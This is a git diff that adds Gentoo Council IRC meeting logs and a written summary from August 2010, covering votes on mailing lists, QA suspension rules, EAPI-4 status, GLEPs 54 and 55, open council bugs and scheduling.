+[22:14:09] * ferringb is more inclined to vote for the destruction of -project, rather than shifting council ml to -project
+[22:14:22] <Halcy0n> here now.
+[22:14:34] <jmbsvicetto> I'd like to keep both
+[22:14:55] <Chainsaw> Halcy0n: Move -council ML to -project, in favour or against?
+[22:15:01] <Halcy0n> Computer problems at work.
+[22:15:02] <Halcy0n> For.
+[22:15:17] <Chainsaw> ferringb: Is that for or against?
+[22:16:06] <ferringb> for, I guess, although I'd want this to be an experiment initially
+[22:16:29] * wired is against,
+[22:16:30] <Chainsaw> ferringb: Everything we do is an experiment, because anyone can put it up for a vote again.
+[22:16:37] <ferringb> I'm not convinced project, with it's flamey nature, is the best place, but having council off in it's own ml isn't particuarly useful.  frankly I'd shift it to -dev rather than -project.
+[22:17:34] <Halcy0n> ferringb: basically my thinking as well.  I don't like having so many lists.
+[22:17:36] <Chainsaw> scarabeus: Are we tied again or did that solve it?
+[22:17:43] <scarabeus> we are not tied
+[22:17:44] <ferringb> 4 yays == majority
+[22:17:48] <scarabeus> i was writting it
+[22:17:53] <ferringb> at least when all 7 folk are around
+[22:17:56] <scarabeus> 5 yays if we count mark
+[22:18:32] <scarabeus> ok so anyone knows how to do the merge?
+[22:18:44] <Betelgeuse> scarabeus: file bug to infra
+[22:18:45] <Chainsaw> Infra does! Can you ask them to strip my phone number as well?
+[22:19:00] <ferringb> Chainsaw: we commit the logs ourselves, so yeah, it'll get stripped
+[22:19:08] <Chainsaw> ferringb: Thank you.
+[22:19:10] <scarabeus> Chainsaw: are you sure you dont want to file own bug?, i would recommend something with high priority
+[22:19:45] <Chainsaw> scarabeus: It's alright, they don't like me anymore after that e-mail adventure.
+[22:19:52] <scarabeus> ah
+[22:19:57] <wired> lets move on :)
+[22:20:00] <scarabeus> ok 1 minute left on this topic
+[22:20:02] <scarabeus> or we move on
+[22:20:03] <scarabeus> :]
+[22:20:09] <Chainsaw> Yes, let's move on.
+[22:20:16] <ferringb> clarification of 3.b would be useful btw
+[22:20:22] <ferringb> phrasing there is a bit vague
+[22:20:44] <scarabeus> it is about arfrever changes in eclasses
+[22:20:59] <scarabeus> he essentialy changed complete eclass api and modified ebuilds in tree to suit this
+[22:21:05] <wired> 	* should there a policy about eclass API changes?
+[22:21:07] <wired> 		-> we didn't reach a decision here, talk will continue in the mailing lists
+[22:21:15] <wired> ^^ last agenda/summary
+[22:21:35] <scarabeus> i assume better would be to have quite static api and for such major rewrites new eclass should be deployed
+[22:21:41] * ferringb notes we're in shitty territory here- basically trying to legislate common sense
+[22:21:43] <scarabeus> see x-modular versus xorg-2
+[22:21:50] <Betelgeuse> scarabeus: that's already the rule
+[22:21:58] <Chainsaw> ferringb: Recent actions suggest we will have to.
+[22:22:06] <Betelgeuse> Chainsaw: dealt with
+[22:22:24] <wired> legislation won't change much in cases like this
+[22:22:58] <ferringb> Chainsaw: the issue there is more speeding up the devrel/qa feedback loop, rather than legislating the definition of sanity imo
+[22:23:22] <Chainsaw> ferringb: As long as something gets done. Recovering portage was not fun.
+[22:23:26] <ferringb> said loop has done it's job (a suspension is active) also, so the mechanism does work, albeit a bit slow
+[22:23:32] <scarabeus> how about leaving this one for QA, i guess we acted quite fast when he broke portage
+[22:23:35] <ferringb> Chainsaw: whiner.  you're not stuck cleaning up the python versions :P
+[22:23:41] <wired> imo we don't need a strict policy. these things can happen, policy or not
+[22:23:55] <Chainsaw> wired: I see that action has been taken, so I'm willing to back off now.
+[22:23:58] <scarabeus> we can do the stop/revert and then devrel do their vote, and if is against QA must explain stuff
+[22:24:09] <ferringb> scarabeus: rephrase that statement please
+[22:24:24] <Chainsaw> Yes, I was also unable to decode that.
+[22:24:53] <scarabeus> QA can do the stop access/revert commit and then devrel do their vote if it was fair (if dev complains), and if  devrel is against QA decision, QA must explain :]
+[22:25:22] <ferringb> scarabeus: in other words, leave it to the appropriate organ of gentoo to handle rather than the council sticking it's nose in?
+[22:25:28] <wired> +1
+[22:25:40] <Halcy0n> Agreed.
+[22:25:43] * ferringb notes by and large, that's his view of how the council should be operating in cases like this.
+[22:25:47] <scarabeus> yes but expect unhappy devs, because i wont let python happen again
+[22:26:00] <wired> unhappy devs > broken systems
+[22:26:02] <ferringb> when shit's screwed up or not getting done properly, step in and knock some heads and sort it out, but stay out of it the rest of the time ;)
+[22:26:14] <scarabeus> okay
+[22:26:23] <scarabeus> so any ideas how to summarise it?
+[22:26:25] <ferringb> scarabeus: python is in the process of being cleaned up.  this situation should not re-occur in that project.
+[22:26:34] <wired> > as in "preferred than"
+[22:26:47] <scarabeus> Betelgeuse: any objections to above, since you are devrel boss? :]
+[22:26:54] <ferringb> Halcy0n: can you clarify the policy documentation for this by chance?
+[22:27:05] <Betelgeuse> ferringb: GLEP 48
+[22:27:08] <ferringb> specifically "don't make 2.6.5 be in reality 2.6.6" ?
+[22:27:12] *** Joins: tanderson (tanderson@gentoo/developer/tanderson)
+[22:27:16] <Betelgeuse> ferringb: ah that
+[22:27:30] <Halcy0n> ferringb: We can make it more clear in devmanual.
+[22:27:33] <Betelgeuse> scarabeus: I agree with ferringb.
+[22:27:35] <ferringb> Halcy0n: would be helpful
+[22:27:43] <scarabeus> ook goodie
+[22:27:56] <ferringb> at the very least, it removes the wiggle room for people pulling shit like this and makes it easier for qa/devrel to smack 'em on the nose
+[22:28:12] <jmbsvicetto> scarabeus / Halcy0n: I think one thing we can change is the current rule about how QA can ask for access to be suspended
+[22:28:47] <ferringb> or QA needs to delegate the powers for that to more than just one person
+[22:28:56] <Halcy0n> You mean going to infra for suspension?  Or who can ask for it?
+[22:29:05] <Betelgeuse> bug 331921
+[22:29:07] <jmbsvicetto> at the moment it falls to the QA lead. In case he's absent, we can have at least 2 QA members ask for the suspension of access and later deal with that - full QA meeting, devrel review, etc
+[22:29:07] <willikins> Betelgeuse: https://bugs.gentoo.org/331921 "Clarify what PV represents in devmanual"; Doc Other, Devmanual; NEW; betelgeuse@g.o:qa@g.o
+[22:29:28] <Halcy0n> I can agree with that.
+[22:29:59] * ferringb notes that works
+[22:30:06] <Chainsaw> That looks sensible.
+[22:30:12] <Chainsaw> I don't believe that needs change.
+[22:30:21] <scarabeus> Halcy0n: ok will you sent
+[22:30:25] <ferringb> although a single QA dev asking for it should work still in my opinion- the simple fact is that if they abused that ability, they would very quickly have their ass in the sling
+[22:30:27] <scarabeus> Halcy0n: erm turncated
+[22:30:33] <ferringb> either way, the 2 qa members thing works ;)
+[22:30:38] <Halcy0n> It would mean modifying GLEP 48.  If you want, I can bring it up with the whole team and get everyone on board, or just make it the change?
+[22:30:41] <scarabeus> Halcy0n: will you sent mail to qa ml so we can have some discussion about it in team? :]
+[22:30:57] <Halcy0n> scarabeus: yup.
+[22:31:08] <Betelgeuse> Halcy0n: GLEP 48 is already: "If a particular developer persistently causes breakage, the QA team may request that devrel re-evaluates that developer's commit rights. "
+[22:31:17] <Betelgeuse> Halcy0n: So you are just clarifying what the QA team means
+[22:31:32] <jmbsvicetto> Betelgeuse: Do you think we need to talk about it inside devrel? If it's a change to GLEP48 I don't think we need to change anything else on devrel pocliy
+[22:31:34] <ferringb> Halcy0n: eitherw ay, the glep should be amended regardless of the process to get that point- really would be nice if we can keep that doc authorative. ;)
+[22:31:35] <jmbsvicetto> policy*
+[22:31:55] <Halcy0n> Betelgeuse, ferringb: I'll bring it up with the team and we'll come back with something.
+[22:32:18] <ferringb> works for me.
+[22:32:36] <ferringb> scarabeus: mind if we deviate for a second while we're on the topic of the suspension btw?
+[22:33:07] <scarabeus> go ahead
+[22:33:09] <ferringb> specifically, there doesn't seem to be a helluva lot of awareness of it... which makes sense, 'cept in doing cleanup python wise for example, folks who should know don't
+[22:33:12] <scarabeus> we have one topic left anyway :]
+[22:33:19] <scarabeus> if others are not against
+[22:33:31] <ferringb> which leaves people in a slightly dicey situation
+[22:33:34] <Betelgeuse> ferringb: We are not in the business of public humiliation.
+[22:33:42] <ferringb> Betelgeuse: agreed
+[22:34:11] <ferringb> Betelgeuse: problem is, the team members do need to know when it's a direct affect on the work/responsibilities
+[22:34:49] <ferringb> point is, and I'm well aware there is no right/wrong in this case, it's something that needs consideration next time around
+[22:35:10] <ferringb> could just leave it at that if desired
+[22:35:10] <Betelgeuse> ferringb: Not really anything council needs to address. Seems like an oversight on my part.
+[22:35:39] <ferringb> Betelgeuse: fair enough.  honestly the discussion got me thinking about that issue, and I brought it up- may not have been the best forum for it.
+[22:35:42] <jmbsvicetto> ferringb: My concern about this issue is from a different angle. We (Gentoo) should acknowledge this incident, we should ensure users are not hitting it without finding any info on how to fix it and make it clear that the practices that lead to it are not appropriate nor acceptable
+[22:36:05] <ferringb> jmbsvicetto: you're blurring a breakage/QA incident, vs the repercussions to the dev
+[22:36:25] <Chainsaw> On that subject, the planet post from Diego has a mangled patch URL.
+[22:36:36] <Chainsaw> (And is truncated!)
+[22:37:01] <ferringb> blar.  will get it sorted
+[22:37:02] <jmbsvicetto> I don't care about the specific dev. The concern here is about Gentoo, the users and practices that shouldn't exist - the particular dev that caused it is irreleavnt
+[22:37:06] <jmbsvicetto> irrelevant*
+[22:37:26] <Chainsaw> ferringb: Would a news item work? I believe affected users can still read those?
+[22:37:32] <wired> you're just talking about different things
+[22:37:36] <ferringb> Chainsaw: affected users couldn't even sync
+[22:37:42] <jmbsvicetto> Chainsaw: I'd prefer to see a full article in our homepage
+[22:37:43] <ferringb> Chainsaw: so a news item is pointless
+[22:37:45] <scarabeus> guys you are talking about 2 things now
+[22:37:49] <Chainsaw> Oh right. I could cvs up, so I never really noticed that.
+[22:37:51] <Chainsaw> jmbsvicetto: Agreed.
+[22:38:00] <scarabeus> 1) the breakage and its fixing
+[22:38:00] <scarabeus> 2) the policy around the situation
+[22:38:12] <Chainsaw> scarabeus: Yes, I am making a concerted effort to move away from a difficult subject. It was working.
+[22:38:23] <scarabeus> :P
+[22:38:23] <ferringb> #1 is sorted at this point, doesn't need discussion.  the python version issues are being worked on also (I'm tracking that right now)
+[22:38:33] <scarabeus> great
+[22:38:44] <ferringb> #2 was the main point I was curious about, although perhaps delaying it to the next meeting is wise
+[22:39:00] <scarabeus> ferringb: so i take it as "QA is over python now" :P
+[22:39:07] <scarabeus> and yes deffering might be good idea
+[22:39:14] <scarabeus> but fire up discussion on -project :]
+[22:39:21] <Betelgeuse> I think drafting a process how to handle bad breakages is in order.
+[22:39:22] <scarabeus> so we dont start empty handed discussion
+[22:39:29] <Betelgeuse> Someone needs to champion that.
+[22:39:33] <Betelgeuse> Any volunteers?
+[22:39:44] * ferringb can offer advice, but has enough on his plate already
+[22:39:52] <scarabeus> me with my english and social skills, bad idea
+[22:39:56] <jmbsvicetto> scarabeus: I think we already have policies for this. At this point I think all we need to do is to recall everyone this case shows why they're important
+[22:40:08] <ferringb> scarabeus: get a copy editor than... :P
+[22:40:16] <Betelgeuse> jmbsvicetto: We don't really have anything for the communication to users.
+[22:40:23] <scarabeus> jmbsvicetto: so you want to make this more of example how not to do things and how it should be delt with?
+[22:40:33] <jmbsvicetto> So it's not about assigning blame, but about having people understand the importance of some policies and practices
+[22:40:54] <wired> and how thousands of users depend on those
+[22:41:18] <jmbsvicetto> Betelgeuse: That is true. I meant about devs following certain policies
+[22:41:46] <jmbsvicetto> Betelgeuse: talking about how to ensure a safe / quick recovery and how to reach users in such cases might be productive
+[22:42:25] <scarabeus> ok guys so lets move it to the ml, we are on this stuff for 20 minutes
+[22:42:28] <jmbsvicetto> scarabeus: I'd start the discussion with that tone
+[22:42:38] <scarabeus> jmbsvicetto: oky :]
+[22:42:44] <scarabeus> jmbsvicetto: hope you are reading summary on wave
+[22:42:57] <Betelgeuse> I can put that on my list of things to do after GSoC is over if no-one else wants to take it now.
+[22:42:57] <scarabeus> jmbsvicetto: and feel free to adjust my wording there
+[22:43:35] <scarabeus> ok rest of this stuff -> ml
+[22:43:39] <scarabeus> so 3c
+[22:43:42] <scarabeus> eapi4 status
+[22:43:54] <scarabeus> jmbsvicetto: i have no idea what you ment by nominating this
+[22:43:56] <scarabeus> so amuse us :]
+[22:44:02] <jmbsvicetto> peper / zmedico: ping ?
+[22:44:14] <ferringb> jmbsvicetto: you trying to find out the state of eapi4 support in portage, or
+[22:44:19] <jmbsvicetto> scarabeus: I forgot to ask you to ping them about the status
+[22:44:44] <jmbsvicetto> ferringb: mostly that and what is still desired / relevant from the original EAPI-4 specification
+[22:44:52] <scarabeus> i had no idea what was to the topic, i was thinking a) status report b) what we want to merge into the specs
+[22:45:00] <jmbsvicetto> ferringb: given the recent proposals for a new EAPI
+[22:45:11] <jmbsvicetto> scarabeus: that too
+[22:45:22] <ferringb> yeah, it would be good to go through eapi4 with a fine toothed comb and spot exactly what is desired that's in it, versus what got shoved in without much review
+[22:45:32] <ferringb> (community/develop review specifically)
+[22:45:47] <scarabeus> ferringb: wanna do it?
+[22:45:53] <ferringb> not really, no
+[22:45:57] <ferringb> but I'm suited to do so I suppose
+[22:46:15] <jmbsvicetto> How about we use our powers to nominate a person / group to look at this for X weeks?
+[22:46:15] <scarabeus> i guess you have most skills for that
+[22:46:18] <Betelgeuse> What I would be interested in is if there's enough new stuff ready in Portage to get a new EAPI out.
+[22:46:22] <jmbsvicetto> and then report back
+[22:46:34] <jmbsvicetto> unless some of us want to deal directly with this
+[22:46:34] <peper> jmbsvicetto: ?
+[22:46:49] <ferringb> Betelgeuse: there is a fair amount of support in portage for eapi4 bits at this point- few is the main person to talk to in re: to the status of it (he was the one doing the work)
+[22:47:02] <Betelgeuse> few_: ping
+[22:47:07] <jmbsvicetto> peper: Is there anything you can tell us about the current status of EAPI-4 ?
+[22:47:29] <jmbsvicetto> peper: or about new features desired for a later EAPI that could possibly be added to the next EAPI
+[22:47:30] <peper> I think you are mistaking me for someone else ;)
+[22:47:33] <scarabeus> i would like eapi done otherwise a bit; new features developed into portage/paludis/anything else and documented with EAPI="in-move" or whatever for just testing (banned for in-tree usage of course) and when people want all the new shiny stuff they just ask for eapi bump.
+[22:47:45] * ferringb suggests this should be delayaed till next meeting- we can do a fast rev meeting in 2-3 weeks if needed
+[22:47:53] <Chainsaw> scarabeus: Please don't, EAPI is messy enough as it is.
+[22:47:54] <jmbsvicetto> peper: Weren't you in the PMS team?
+[22:47:58] <ferringb> namely, no one has dug into it, and the folk who can comment on it aren't around
+[22:48:02] <ferringb> jmbsvicetto: you're thinking of ulm
+[22:48:02] <jmbsvicetto> peper: If not, sorry
+[22:48:07] <jmbsvicetto> peper: sorry
+[22:48:17] <jmbsvicetto> ulm: ping ^^
+[22:48:17] <ferringb> peper is g55 guy
+[22:48:33] <jmbsvicetto> I thought he was leading the PMS team. Sorry
+[22:48:42] <tanderson> fauli is lead iirc
+[22:49:11] <peper> I can tell you that you should adopt g55 though
+[22:49:13] * peper hides
+[22:49:26] <jmbsvicetto> ferringb: we can talk about nominating someone to look at EAPI-4 status
+[22:49:28] <scarabeus> peper: its nominated for vote on next meeting :P
+[22:49:40] <tanderson> Since this is obviously a democracy, I vote for g55 too =P
+[22:49:41] <scarabeus> peper: if you as proposer will agree to that
+[22:49:43] <ferringb> any takers to do the eapi4 investigation?
+[22:50:02] * ferringb can do it if no one else will
+[22:50:24] <jmbsvicetto> anyone from the community interested in joining the "quest"?
+[22:50:30] <peper> scarabeus: I don't mind :)
+[22:50:58] <ferringb> how about we take the "find a minion" part offline.  if no one is found in a week, I'll do it.
+[22:51:04] <scarabeus> ook
+[22:51:05] * ferringb won't get to it for at least a week anyways
+[22:51:20] *** Quits: yporti (~yporti@hyadesinc/pub/yporti) (Quit: Leaving)
+[22:51:23] <ferringb> bugs being next?
+[22:51:26] <scarabeus> oky
+[22:51:29] <scarabeus> bugs on road
+[22:51:30] <jmbsvicetto> ok, works for me :)
+[22:51:42] <scarabeus> so Halcy0n first question on you, are you interested in that bug of yours?
+[22:52:04] <wired> bug 234706
+[22:52:07] <willikins> wired: https://bugs.gentoo.org/234706 "Slacker arches"; Gentoo Linux, Unspecified; NEW; dberkholz@g.o:council@g.o
+[22:52:15] <Halcy0n> scarabeus: yes.  I started digging through all of the threads from way back.  I'll try to come up with another proposal to get people talking about it again.
+[22:52:22] <scarabeus> oka
+[22:52:40] <scarabeus> just FTR kde has now just arm, amd64, ppc, ppc64 and x86 keywords
+[22:53:16] *** Joins: tove (~tove@smtp.gentoo.org)
+[22:53:41] <scarabeus> next bug then, ferringb its yours
+[22:54:07] <ferringb> err. what's the bug #?
+[22:54:10] <wired> bug 256451
+[22:54:13] <willikins> wired: https://bugs.gentoo.org/256451 "Council meeting notes appear to be missing"; Doc Other, Other; NEW; gentoo-bugs@allenjb.me.uk:council@g.o
+[22:54:24] <ferringb> sorted, although october 2009 is missing
+[22:54:33] <ferringb> (just noticed it, it's the only summary that's not up there)
+[22:54:50] <scarabeus> i see
+[22:54:52] <ferringb> would be nice if someone else does it since frankly it's shitty work, but I'll kill it by next council meeting if no one steps up
+[22:55:09] <scarabeus> oka
+[22:55:15] <Betelgeuse> ferringb: I can write it.
+[22:55:19] <ferringb> Betelgeuse: really appreciate it
+[22:55:30] <ferringb> !@#*ing sucks writing those things months/years after the fact
+[22:55:57] <wired> next one is mine, bug #256453
+[22:55:58] <scarabeus> wired: your bug?
+[22:56:00] <willikins> wired: https://bugs.gentoo.org/256453 "Documentation on Gentoo Council meeting processes, particularly regarding agenda items"; Doc Other, Other; NEW; gentoo-bugs@allenjb.me.uk:council@g.o
+[22:56:12] <wired> i have a patch http://paste.pocoo.org/show/248114/
+[22:56:17] <scarabeus> ferringb: why do you think that i for kde and this do it on run time
+[22:56:23] <scarabeus> ferringb: later you always lack the motivation :D
+[22:56:31] <ferringb> scarabeus: yep.
+[22:56:59] <scarabeus> hmm that patch is not bad
+[22:57:27] <scarabeus> altho is there possibility to place php script into cvs not to have rely on wired's devspace
+[22:57:51] <scarabeus> ?
+[22:57:54] <Betelgeuse> yeah official documents should not rely on devspaces
+[22:57:56] <wired> no idea, i'll have to ask
+[22:58:32] <wired> any other comments?
+[22:58:42] <scarabeus> ok i agree with applying this patch, when the devspace uri is sorted out (taken out to be static 19:00 or placed into the proj folder in cvs)
+[22:59:03] <scarabeus> so your yays and nays plz :]
+[22:59:11] <jmbsvicetto> wired: I like your patch but have 2 or 3 suggestions: one is to include some notes about items to be included in the Agenda, including timelines for proposed GLEPs to be voted
+[22:59:54] <scarabeus> 2 weeks for announcement, 1 week for last nomination of vote item so we can all prepare
+[23:00:02] <jmbsvicetto> The other is to add a note in the beginning that the dates and times of the meeting are set by each council and that for the current council the preferred time/date is X
+[23:00:08] *** Quits: zmedico (~zmedico@gentoo/developer/zmedico) (Ping timeout: 258 seconds)
+[23:00:12] <wired> mm
+[23:00:12] <wired> ok
+[23:00:29] <wired> i'll improve it send it to -project for final comments and observations then
+[23:00:35] <wired> before committing
+[23:00:38] <scarabeus> yep sounds reasonable
+[23:00:45] <ferringb> wired: one nit- note we keep a higher frequency of meetings than once a month.  might want to incorporate that in some respect
+[23:00:59] <jmbsvicetto> scarabeus: the old rule is the GLEP must be submitted to the dev ml one week before the agenda is sent and that the agenda must be sent 1 week before the meeting
+[23:01:02] <wired> ferringb: noted
+[23:01:39] <scarabeus> hmm first you announce meeting and then people ask for stuff to be on it
+[23:01:47] <scarabeus> not that people ask for stuff and then you base meeting on it
+[23:01:47] <jmbsvicetto> ferringb: we have up until now, but our decision was for 1 monthly meeting unless certain conditions are met
+[23:01:54] <scarabeus> (just saying how people work)
+[23:02:18] <wired> announcement -> possible item submissions -> agenda -> more possible item submissions + discussion on existing items
+[23:02:28] *** Joins: zmedico (~zmedico@gentoo/developer/zmedico)
+[23:02:35] <scarabeus> wired: that sounds nices
+[23:02:43] <scarabeus> but lets move this discussion to list seriously
+[23:02:49] <wired> sure
+[23:02:57] <scarabeus> last bug is your jmbsvicetto, i guess it is bit long-term so no status update :]
+[23:03:16] <wired> bug 237381
+[23:03:19] <willikins> wired: https://bugs.gentoo.org/237381 "Document appeals process"; Gentoo Linux, Unspecified; NEW; dberkholz@g.o:dberkholz@g.o
+[23:03:20] <jmbsvicetto> I didn't got to it yet, but I plan to present some proposal in the next meeting
+[23:03:25] <scarabeus> ook
+[23:03:27] <ferringb> curious, but how are you tracking who owns what?
+[23:03:37] <wired> ferringb: last agenda
+[23:03:39] <wired> :p
+[23:03:45] *** Joins: yporti (~yporti@hyadesinc/pub/yporti)
+[23:03:48] <jmbsvicetto> let me fix that on my bug ;)
+[23:03:49] <ferringb> wired: yeah, point is shift the owner into the bug itself
+[23:04:13] <wired> ferringb: mm that'll make it harder to track.. lets just add owners as CC?
+[23:04:29] <scarabeus> just cc, just for query purposes
+[23:04:35] <scarabeus> we should all care about this stuff somehow :D
+[23:04:39] <jmbsvicetto> ferringb: I was reassigning the bug to me :P
+[23:04:48] * ferringb would just reassign, and cc council
+[23:05:02] <jmbsvicetto> wired: you can also search bugs council is cc'ed to
+[23:05:03] <scarabeus> actualy you are right it does not really much matter :]
+[23:05:05] <ferringb> my search query I use as is pulls anything that has the council cc'd
+[23:05:18] <scarabeus> aaanyway back to topics, item 5, who wants the shiny chair :]
+[23:05:18] <jmbsvicetto> by the way the curent list includes 8 bugs
+[23:05:35] <wired> jmbsvicetto: yes, but thats just getting messy, council can be cc'd to bugs for various reasons
+[23:06:00] <jmbsvicetto> there are only 8 bugs assigned to council or where council is cc'ed
+[23:06:05] <ferringb> offline it... we don't need to bikeshed in person during a meeting ;)
+[23:06:11] <wired> :)
+[23:06:19] <jmbsvicetto> bug 234711 is probably coming back when discussing GLEP55
+[23:06:21] <ferringb> suspect whoever does the work can just enforce the standard...
+[23:06:22] <willikins> jmbsvicetto: https://bugs.gentoo.org/234711 "GLEP 54: scm package version suffix"; Gentoo Linux, Unspecified; NEW; dberkholz@g.o:lu_zero@g.o
+[23:06:33] <ferringb> actually, I do have a vote I'd like to request on that
+[23:06:42] <scarabeus> brm
+[23:06:48] <scarabeus> pumpkins, this is ml stuff :]
+[23:06:49] <ferringb> the last council basically bound g54 to auto-pass if g55 passes
+[23:07:16] <ferringb> I'd like to see g54 go through a vote again this time around- the situation has changed a bit in terms of what portage can do, potential of capabilities, etc.
+[23:07:25] <ferringb> decouple the suckers namely
+[23:07:31] <Halcy0n> We are just about done right, because I have to run, and don't want to miss anything :)
+[23:07:41] <scarabeus> yes
+[23:07:41] * ferringb can take it to the ml
+[23:07:48] <scarabeus> just decision about the next chair
+[23:07:56] <jmbsvicetto> just for record and so it gets logged there's also b. 316401, 316403 and 316405 - which iirc are all waiting on infra
+[23:07:59] <wired> next meeting in a month?
+[23:08:01] <scarabeus> (i am fallback, i dont mind doing so, just if anyone else wants to do it)
+[23:08:08] <ferringb> wired: actually... sooner gets my vote
+[23:08:22] <scarabeus> 23.
+[23:08:22] <ferringb> it may be not obvious, but we've got some EAPI shit that needs discussing
+[23:08:22] <scarabeus> ?
+[23:08:24] <wired> ferringb: two weeks?
+[23:08:28] <scarabeus> too soon
+[23:08:29] <scarabeus> 23.
+[23:08:42] <scarabeus> eh it is 2 weeks
+[23:08:43] <scarabeus> :D
+[23:08:45] <ferringb> scarabeus: two weeks is enough time imo.
+[23:08:57] <scarabeus> so others
+[23:08:59] <jmbsvicetto> I'm not likely to have much free time in the week of 23rd August
+[23:09:06] <ferringb> if the two weeks approaches and we're not ready, fine, we just cancel the meeting
+[23:09:18] <wired> +1 for 23rd here
+[23:09:22] <scarabeus> ferringb: not really, it needs to be announced right away
+[23:09:26] <Betelgeuse> 23 should be fine but I won't chair as GSoC is still running.
+[23:09:29] <scarabeus> so people would expect it
+[23:09:42] <jmbsvicetto> I was also getting back on my bug in 1 month, not 2 weeks
+[23:10:12] <scarabeus> jmbsvicetto: no worries i updated summary
+[23:10:18] <scarabeus> ok I chair
+[23:10:23] <scarabeus> date is fine and dandy?
+[23:10:26] <wired> so we're good for 23rd?
+[23:10:38] <wired> scarabeus: i'll chair, seems its just the two of us, lets rotate :)
+[23:10:39] <ferringb> option of the 30th as a fallback comes to mind, but yep
+[23:10:43] <jmbsvicetto> I'll let you know if I can make it, but at this time it doesn't sound too promising
+[23:10:44] <scarabeus> wired: ok
+[23:10:47] <scarabeus> wired: update summary
+[23:10:59] <ferringb> jmbsvicetto: afaik you're going to want to be there being EAPI related- any idea when you'll know if you can be there?  that's ignoring if you just sent a proxy
+[23:11:06] <Halcy0n> 23 works for me as well.
+[23:11:06] <jmbsvicetto> scarabeus: I plan to chair future meeting
+[23:11:09] <jmbsvicetto> +s
+[23:11:12] <scarabeus> jmbsvicetto: find good proxy if you are really gone :]
+[23:11:15] <ferringb> that said it's probably going to be more of a discussion
+[23:11:55] <scarabeus> ok, so lets proceed with more bikeshed + open floor
+[23:12:01] <scarabeus> and i am going to tuneup the summary
+[23:12:03] <scarabeus> ack?
+[23:12:10] <scarabeus> and go get cookies :P
+[23:12:13] <jmbsvicetto> ferringb: we're planning a domain migration in that week at work. It all depends at what hour we end the preparation meetings on Monday
+[23:13:01] <wired> we can also do something like early 28th (saturday) for our US friends
+[23:13:16] <ferringb> jmbsvicetto: ah... yeah, those weeks suck ass
+[23:13:32] <jmbsvicetto> I can do weekends if others are willing to do it
+[23:14:49] <Chainsaw> I can do weekends, yes. Not a problem.
+[23:15:30] <jmbsvicetto> wired: but I guess our US friends would prefer a late meeting ;)
+[23:15:36] <few_> Betelgeuse: pong
+[23:15:39] <wired> jmbsvicetto: late for them, early for us
+[23:15:41] <wired> ;p
+[23:15:57] <jmbsvicetto> wired: hmm, that would be a fun time for me :P
+[23:16:15] <wired> heheh
+[23:16:18] <scarabeus> http://paste.pocoo.org/show/248127/
+[23:16:21] <scarabeus> summary :]
+[23:16:27] <NeddySeagoon> jmbsvicetto, you and your tropical island
+[23:16:30] <scarabeus> also guys did someone log? i forgot to ask :/
+[23:16:34] <wired> i always log
+[23:16:34] <jmbsvicetto> NeddySeagoon: :)
+[23:16:39] <wired> i have like 3mil log lines
+[23:16:41] <wired> ;p
+[23:16:48] <jmbsvicetto> I also have log
+[23:16:48] <scarabeus> wired: could you commit the log plz, i will attach the above summary to it soonish
+[23:16:54] <wired> ok
+[23:16:56] <scarabeus> wired: and remove the phone number
+[23:17:01] <wired> ofcourse
+[23:17:05] <wired> did the meeting end? :p
+[23:17:16] <ferringb> wired: could substitute in a sex line instead of chainsaws...
+[23:17:20] <ferringb> that might be fun
+[23:17:21] <wired> lmao
+[23:17:21] <scarabeus> yes dismissed, community is silent
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20100823-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20100823-summary.txt
new file mode 100644
index 00000000..727d036d
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20100823-summary.txt
@@ -0,0 +1,85 @@
+Gentoo Council 2010/08/23 meeting agenda / summary:
+
+* roll call
+	here:
+		jmbsvicetto
+		halcy0n
+		betelgeuse
+		wired
+		chainsaw
+		ssuominen ( proxying scarabeus )
+	missing:
+		ferringb ( called him, no answer )
+
+** items for discussion / vote **
+    - EAPI 4 status
+	3 bugs left
+		#273642 #273625 #273633
+	repoman not updated yet
+	support for EAPI 4_pre1 not enabled yet
+
+    - GLEP 54 - http://www.gentoo.org/proj/en/glep/glep-0054.html
+	http://www.mail-archive.com/gentoo-council@lists.gentoo.org/msg00524.html
+	http://www.mail-archive.com/gentoo-dev@lists.gentoo.org/msg34159.html
+
+	passed, 4 to 2
+	yes
+		jmbsvicetto
+		chainsaw
+		ssuominen
+		wired
+	no
+		halcy0n
+			because GLEP 55 was turned down
+		betelgeuse
+			because GLEP 55 was turned down
+				would vote yes if we waited for a year
+				or did something else reasonable to
+				avoid warnings
+
+    - GLEP 55 - http://www.gentoo.org/proj/en/glep/glep-0055.html
+	voted down 4 to 2
+	no
+		jmbsvicetto
+		chainsaw
+		ssuominen
+		wired
+	yes
+		halcy0n
+		betelgeuse
+
+	* per Betelgeuse's request, do we want to find a solution for the issues raised by glep 55
+	yes
+		betelguese
+		chainsaw
+		halcy0n
+		jmbsvicetto
+		wired
+	no
+		ssuominen
+
+	** we should focus on finding an acceptable implemention or just vote on all the proposed ones
+
+* go through bugs assigned to the Council
+	http://bugs.gentoo.org/buglist.cgi?quicksearch=assignedto,cc:council@gentoo.org
+
+	234706
+		no new info
+
+	256451
+		done
+
+	256453
+		done
+
+	237381
+		no new info
+
+* decide who's chairing the next meeting
+	jmbsvicetto
+
+* choose next meeting's date
+	20100913 19H00 UTC
+
+* open floor - listen to the community
+	* antarus wants an espresso machine
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20100823.txt b/xml/htdocs/proj/en/council/meeting-logs/20100823.txt
new file mode 100644
index 00000000..92ebbee9
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20100823.txt
@@ -0,0 +1,387 @@
+[21:59:59] <wired> i guess its about time
+[22:00:04] *** Joins: lavajoe (~joe@gentoo/developer/lavajoe)
+[22:00:09] <Chainsaw> Ready here :)
+[22:00:11] <wired> rollcall! Betelgeuse Chainsaw ferringb Halcy0n jmbsvicetto scarabeus ( ssuominen )
+[22:00:15] <Betelgeuse> wired: around
+[22:00:20] <jmbsvicetto> around
+[22:00:38] <Halcy0n> here
+[22:00:54] <Chainsaw> wired: Present.
+[22:01:14] <wired> great
+[22:01:16] <wired> ferringb?
+[22:01:51] <wired> lets give him a couple of minutes
+[22:04:57] <Halcy0n> Want me to call Brian?
+[22:05:12] <wired> could you please?
+[22:05:33] <wired> or I will
+[22:05:55] <Halcy0n> Its free for me to call if you want.  I just can't find his number.
+[22:06:34] <wired> problem solved
+[22:07:09] *** Quits: ali_bush (~alistair@gentoo/developer/alibush) (Read error: Connection reset by peer)
+[22:07:39] <jmbsvicetto> Did we poke anyone to get an EAPI-4 status update?
